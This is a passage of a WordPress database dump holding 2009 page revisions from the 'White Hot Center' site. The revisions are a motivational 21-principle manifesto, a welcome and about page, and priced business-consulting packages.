be, nor expect to be what you don’t desire.</em></span><span style="color: #ff6600;"> <strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> you must do what matters to you, and what you do must matter to others</strong><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>meaning + contribution = a life of significance.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>4  begin with what’s at hand</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>there is no shortage of supply, you are at all times surrounded by potential and possibility.</em></span>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>forget the past, right now is what’s important.</em></span>\r\n<h2><span style="color: #333333;"><strong>6  embrace simplicity</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>do everything in an easy and relaxed manner.</em></span>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you think is impossible</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>don’t be afraid to put your own “dent in the universe”.</em></span>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>a compelling value proposition, properly positioned will elevate you from the slush pile</em>.</span>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the ultimate competitive advantage and the key to wealth.</em></span>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>get this reversed and it’s game over!</em></span>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>doing good things for people is good business.</em></span>\r\n<h2><span style="color: #333333;"><strong>12  listen more, sell less</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>It’s all about them not you.</em></span>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>follow your heart, there is no better alternative.</em></span>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>play aimlessly in your creative imagination.\r\n</em></span>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>discover your genius, develop you unique ability, delegate everything else.</em></span>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the world moves to fast for one mind – seek collaborators.</em></span>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>it will put you to sleep!</em></span>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>embrace risk like your lover.</em></span>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions, no excuses\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>say no often and mean it.</em></span>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>elevate everyone you come into contact with.</em></span>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>appreciation + service =  abundance.</em></span>\r\n\r\n<strong>It’s my conviction these guiding principles will help you frame up the inner game that determines your own outer success. Like me, you may have incorporated elements of this philosophy in your personal and business life for years. If not, perhaps you’ll be inspired to gain a deeper level of understanding and mastery of these timeless principles and apply them daily to realize a quantum leap in your own inspired growth and business success. Facilitating your awareness and deeper understanding of these ideas is my life’s great work.</strong>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2009-07-06 16:25:08', '2009-07-06 23:25:08', '', 136, 'http://www.whitehotcenter.com/136-revision-26/', 0, 'revision', '', 0),
(392, 2, '2009-07-06 20:01:46', '2009-07-07 03:01:46', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. To make my passion for inspiring you toward greater levels of success more obvious, I want to declare for you 21 guiding principles that form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in your life.</span></h2>\r\n<span style="color: #ff6600;"> </span>In my 30-year entrepreneurial career in marketing and business communications, I have worked with hundreds of successful people in diverse businesses. I have consulted with top executives in global companies, and creative entrepreneurs and professionals in small start-ups alike.  I''ve learned through my association with many of these successful people, that all of them consciously operate from a set of inner guiding principles that illuminates their journey and helps them stay the course towards their business goals and personal desires– despite the challenges of their current circumstances. Successful people are inspired people. They believe everything they "see" in their creative imagination has its counterpart in the physical world! There are no limits to achievement except those that are self-imposed. Let these inspired ideas burn an impression in your remarkable mind:\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/21manifesto1.gif"><img class="alignnone size-full wp-image-385" title="21manifesto" src="http://whc.fbdev.org/wp-content/uploads/2009/04/21manifesto1.gif" alt="21manifesto" width="450" height="277" /></a>\r\n<h2>1<span style="color: #ff6600;"> </span><strong> as you think, so it is</strong><span style="color: #ff6600;"><em> </em></span><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>the essence of all creation begins with your thoughts.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</em></span><span style="color: #ff6600;"> <strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> you must do what matters to you, and what you do must matter to others</strong><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>meaning + contribution = a life of significance.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>4  begin with what’s at hand</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>there is no shortage of supply, you are at all times surrounded by potential and possibility.</em></span>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>forget the past, right now is what’s important.</em></span>\r\n<h2><span style="color: #333333;"><strong>6  embrace simplicity</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>do everything in an easy and relaxed manner.</em></span>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you think is impossible</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>don’t be afraid to put your own “dent in the universe”.</em></span>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>a compelling value proposition, properly positioned will elevate you from the slush pile</em>.</span>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the ultimate competitive advantage and the key to wealth.</em></span>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>get this reversed and it’s game over!</em></span>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>doing good things for people is good business.</em></span>\r\n<h2><span style="color: #333333;"><strong>12  listen more, sell less</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>It’s all about them not you.</em></span>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>follow your heart, there is no better alternative.</em></span>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>play aimlessly in your creative imagination.\r\n</em></span>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>discover your genius, develop you unique ability, delegate everything else.</em></span>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the world moves to fast for one mind – seek collaborators.</em></span>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>it will put you to sleep!</em></span>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>embrace risk like your lover.</em></span>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions, no excuses\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>say no often and mean it.</em></span>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>elevate everyone you come into contact with.</em></span>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>appreciation + service =  abundance.</em></span>\r\n\r\n<strong>It’s my conviction these guiding principles will help you frame up the inner game that determines your own outer success. Like me, you may have incorporated elements of this philosophy in your personal and business life for years. If not, perhaps you’ll be inspired to gain a deeper level of understanding and mastery of these timeless principles and apply them daily to realize a quantum leap in your own inspired growth and business success. Facilitating your awareness and deeper understanding of these ideas is my life’s great work.</strong>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2009-07-06 20:01:46', '2009-07-07 03:01:46', '', 136, 'http://www.whitehotcenter.com/136-revision-28/', 0, 'revision', '', 0),
(393, 2, '2009-07-06 20:03:28', '2009-07-07 03:03:28', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. To make my passion for inspiring you toward greater levels of success more obvious, I want to declare for you 21 guiding principles that form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in your life.</span></h2>\r\n<span style="color: #ff6600;"> </span>In my 30-year entrepreneurial career in marketing and business communications, I have worked with hundreds of successful people in diverse businesses. I have consulted with top executives in global companies, and creative entrepreneurs and professionals in small start-ups alike.  I''ve learned through my association with many of these successful people, that all of them consciously operate from a set of inner guiding principles that illuminates their journey and helps them stay the course towards their business goals and personal desires– despite the challenges of their current circumstances.\r\n\r\nSuccessful people are inspired people. They believe everything they "see" in their creative imagination has its counterpart in the physical world! There are no limits to achievement except those that are self-imposed. Let these inspired ideas burn an impression in your remarkable mind:\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/21manifesto1.gif"><img class="alignnone size-full wp-image-385" title="21manifesto" src="http://whc.fbdev.org/wp-content/uploads/2009/04/21manifesto1.gif" alt="21manifesto" width="450" height="277" /></a>\r\n<h2>1<span style="color: #ff6600;"> </span><strong> as you think, so it is</strong><span style="color: #ff6600;"><em> </em></span><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>the essence of all creation begins with your thoughts.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</em></span><span style="color: #ff6600;"> <strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> you must do what matters to you, and what you do must matter to others</strong><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>meaning + contribution = a life of significance.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>4  begin with what’s at hand</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>there is no shortage of supply, you are at all times surrounded by potential and possibility.</em></span>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>forget the past, right now is what’s important.</em></span>\r\n<h2><span style="color: #333333;"><strong>6  embrace simplicity</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>do everything in an easy and relaxed manner.</em></span>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you think is impossible</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>don’t be afraid to put your own “dent in the universe”.</em></span>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>a compelling value proposition, properly positioned will elevate you from the slush pile</em>.</span>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the ultimate competitive advantage and the key to wealth.</em></span>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>get this reversed and it’s game over!</em></span>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>doing good things for people is good business.</em></span>\r\n<h2><span style="color: #333333;"><strong>12  listen more, sell less</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>It’s all about them not you.</em></span>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>follow your heart, there is no better alternative.</em></span>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>play aimlessly in your creative imagination.\r\n</em></span>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>discover your genius, develop you unique ability, delegate everything else.</em></span>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the world moves to fast for one mind – seek collaborators.</em></span>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>it will put you to sleep!</em></span>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>embrace risk like your lover.</em></span>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions, no excuses\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>say no often and mean it.</em></span>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>elevate everyone you come into contact with.</em></span>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>appreciation + service =  abundance.</em></span>\r\n\r\n<strong>It’s my conviction these guiding principles will help you frame up the inner game that determines your own outer success. Like me, you may have incorporated elements of this philosophy in your personal and business life for years. If not, perhaps you’ll be inspired to gain a deeper level of understanding and mastery of these timeless principles and apply them daily to realize a quantum leap in your own inspired growth and business success. Facilitating your awareness and deeper understanding of these ideas is my life’s great work.</strong>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2009-07-06 20:03:28', '2009-07-07 03:03:28', '', 136, 'http://www.whitehotcenter.com/136-revision-29/', 0, 'revision', '', 0),
(394, 1, '2009-07-02 16:25:30', '2009-07-02 23:25:30', 'Listing of podcasts', 'Pods', 0, '', 'inherit', 'open', 'open', '', '133-revision-v1', '', '', '2009-07-02 16:25:30', '2009-07-02 23:25:30', '', 133, 'http://www.whitehotcenter.com/133-revision-10/', 0, 'revision', '', 0),
(395, 1, '2009-07-02 13:08:45', '2009-07-02 20:08:45', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-bkg.gif"><img class="alignnone size-full wp-image-344" title="thomson-bkg" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-bkg.gif" alt="thomson-bkg" width="450" height="441" /></a>\r\n<h2><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire.</span></h2>\r\n<h2><span style="color: #696969;"> </span></h2>\r\n<span style="color: #696969;">Of course each definition of success is as different and unique as our own DNA. Success in business and in life is a process, not an event. Whatever metrics you use to determine your success, the best definition of success I''ve heard so far comes from Bob Dylan: </span>\r\n<h2><span style="color: #ff6600;">"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".<strong> </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n<h2><span style="color: #696969;">I love the simplicity of that!  For many people, myself included, success means freedom to pursue whatever is our heart''s desire burning bright and hot within us. </span></h2>\r\n<span style="color: #696969;">When I began to have greater awareness and connection to what really mattered to me in business and life success, I discovered some common ground with other creative business people who were searching, like me, for tools to help guide their journey. With that in mind, here are some success benchmarks many corporate executives, creative entrepreneurs and professionals I work with agree are worthwhile pursuing with unbridled passion:</span>\r\n<h2><span style="color: #ff6600;"><strong>freedom to do the "work" that matters most to you</strong><strong> and serves others.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a sustainable business comprised of customers who value your contribution to them, and are delighted to show their appreciation by paying the higher fees your talent and expertise commands and deserves.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery over the daily complexities your business success creates.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery of effective marketing and business development strategies to grow your business doing what you love with clients who love you.\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your life''s other creative passions.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a life of significance through your unique contributions to the world.</strong></span></h2>\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life. Just about everybody I have worked with has a desire to experience some level of mastery in these areas of business and in their life''s pursuits.\r\n\r\n<strong>About Me</strong>\r\n\r\nJust like you, I am a creative entrepreneur. I want to play big and make a difference. I also believe that our great work and highest value to the world is best expressed through the venue of our businesses. The desire to grow and expand is our truest nature. This site is one expression of that idea. So, like two friends walking the same road, it is my intention to begin a conversation with you about the principles of the inner game that drives our outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that forms the foundation of the White Hot Center philosophy. As curator, I''ll share thoughts, ideas, methods and expertise to inspire you to keep your momentum and confidence growing to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\nI’ve been a creative entrepreneur all my adult life. For over 25 years, I have helped guide businesses large and small, to discover and define their unique voice, brand identity and value proposition to their customers. I am a designer, writer, creative director, and brand marketing consultant to global enterprises and small start-ups alike. You can learn about my continuing work in the brand consulting business here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><strong><span style="color: #ff6600;">It is my intention the White Hot Center serve as a resource for inspiration and innovation to help you tap into the power of the creative source– your own white hot center!</span></strong></h2>\r\nI am totally committed to helping you master timeless principles for creative business and life success and sharing inspirational ideas and insight with you here on the WHC blog. I want to keep you inspired to create the business and life success you really want, doing whatever brings you joy and fulfillment.  I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other successful people you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have explored the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\n<strong>For creative entrepreneurs, professionals and organizations, I offer on-going consulting packages and information products that provide a deeper level of guidance on strategies to help you grow your business and increase your influence and contribution to the world. You can learn more about my services in the Consulting Section of the site.</strong>\r\n\r\nI wish you continued success in your creative business and in every area of your life. Thank you for visiting..\r\n\r\nAll the best,\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-07-02 13:08:45', '2009-07-02 20:08:45', '', 172, 'http://www.whitehotcenter.com/172-revision-44/', 0, 'revision', '', 0),
(396, 2, '2009-07-06 12:43:20', '2009-07-06 19:43:20', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif"><img class="alignnone size-full wp-image-320" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif" alt="windseeds" width="450" height="270" /></a><span style="color: #ff6600;">There are two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\n<h2><span style="color: #333333;">\r\n\r\n</span></h2>\r\n<span style="color: #333333;">In nearly 30-years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span>\r\n\r\n<span style="color: #ff6600;"> </span>Thinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind. As the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire corporate executives, managers, creative entrepreneurs, and professionals to discover and define the white hot center of their competitive advantage, and provide guidance to help them bring into physical form the expression of that advantage at every client, customer, or personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of\r\n$50 million +. Typically this package involves guidance and ideas with business leaders on the strategic issues of positioning, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.\r\n<span style="color: #ff6600;">Learn more here</span></span><span style="color: #ff6600;">.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. Then we develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration.\r\nLearn more here.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (5) 1-hour Power Session Jam conference calls to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<span style="color: #ff6600;"><strong>How to start the burn</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.</span>\r\n\r\n<strong>The only result I can promise you from engaging in a White Hot Center Consulting Package is you will be totally inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to help you master the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness of your unique capabilities, and inspire you to make courageous decisions about the strategic and creative nature of growing your influence and contribution to the world through the venue of your business. I am looking forward to working with you!\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot Center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-07-06 12:43:20', '2009-07-06 19:43:20', '', 138, 'http://www.whitehotcenter.com/138-revision-41/', 0, 'revision', '', 0);
